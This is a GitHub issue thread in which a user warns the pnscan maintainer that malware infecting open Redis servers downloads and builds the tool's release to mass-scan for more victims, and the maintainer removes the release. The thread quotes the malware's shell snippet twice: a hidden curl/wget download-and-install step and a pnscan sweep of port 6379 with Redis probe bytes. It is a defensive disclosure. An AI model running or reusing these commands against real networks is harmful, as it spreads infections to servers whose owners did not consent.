Release used as an automatic attack tool

[TiTi]

Hello,

Your tool is used to automatically infect some linux machines / detect their services.
Specifically in the redis infected servers that is happening.

They use the provided package reachable at https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12

Example of payload:

if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); then
curl -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > .x112 || wget -q -O .x112 https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12
sleep 1
[ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112
fi

and later on:

pnx=pnscan
[ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan
[ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan
$pnx -t512 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' $x.$y.0.0/16 6379 > .r.$x.$y.o
awk '/Linux/ {print $1, $3}' .r.$x.$y.o > .r.$x.$y.l

I understand your tool is just a tool.

But I recommend you to remove the official release because bad people are currently actively using it to discover and infect machines.
Just keep the source and instructions, but remove the release. It'll immediately make those exploit scripts fail.

[ptrrkssn]

Ok, thanks for the heads-up. I’ve removed the release-package from GitHub now. - Peter

…

On 12 Jun 2018, at 14:38, Thibault ROHMER ***@***.***> wrote: Hello, Your tool is used to automatically infect some linux machines / detect their services. Specifically in the redis infected servers <https://www.imperva.com/blog/2018/06/new-research-shows-75-of-open-redis-servers-infected/> that is happening. They use the provided package reachable at https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 <https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12> Example of payload: if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); then curl -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > .x112 || wget -q -O .x112 https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 sleep 1 [ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112 fi and later on: pnx=pnscan [ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan [ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan $pnx -t512 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' $x.$y.0.0/16 6379 > .r.$x.$y.o awk '/Linux/ {print $1, $3}' .r.$x.$y.o > .r.$x.$y.l I understand your tool is just a tool. But I recommend you to remove the official release because bad people are currently actively using it to discover and infect machines. Just keep the source and instructions, but remove the release. It'll immediately make those exploit scripts fail. — You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub <#2>, or mute the thread <https://github.com/notifications/unsubscribe-auth/AL01LRqkFnt0L9jlmi8qnU-l72nzgSvuks5t77ZTgaJpZM4UkWVV>.

[TiTi]

Great.
Thank you for your understanding and reactivity.
👍